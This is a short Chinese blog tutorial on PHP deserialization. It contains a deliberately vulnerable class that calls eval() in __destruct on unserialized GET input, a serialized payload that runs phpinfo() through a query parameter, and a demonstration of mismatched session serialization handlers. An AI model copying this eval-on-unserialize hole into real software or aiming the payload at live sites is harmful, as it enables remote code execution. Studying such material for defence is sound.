
0x01 序列化简单利用  

  serialize() 序列化：使用函数serialize()可将实例序列化为字符串   unserialize() 反序列化：使用函数
unserialize()可将序列化的字符串还原

代码示例：

漏洞利用：

构造漏洞利用的代码，保存为test.php，获取序列化值为 O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

提交?code=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";} 即可执行phpinfo()

 

<?php

class Example {

    var $var = '';

    function __destruct() {

        eval($this->var);

    }

}

unserialize($_GET['code']);

?>

<?php

class Example {

    var $var = 'phpinfo();';

    function __destruct() {

        eval($this->var);

    }

}

$a=new Example();

echo serialize($a);

?>

af://n0


PHP SESSION反序列化  

主要原因是： ini_set(‘session.serialize_handler’, ‘php_serialize’);

       ini_set(‘session.serialize_handler’, ‘php’);

       两者处理session的方式不同

 

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。

<?php

ini_set('session.serialize_handler','php_serialize');//ini_set('session.serialize_handler',

'php');

session_start();

$_SESSION["test"]=$_GET["a"];

?>//提交?a=1111

输出结果：
php_serialize： a:1:{s:4:"test";s:4:"1111";}

php: test|s:4:"1111";
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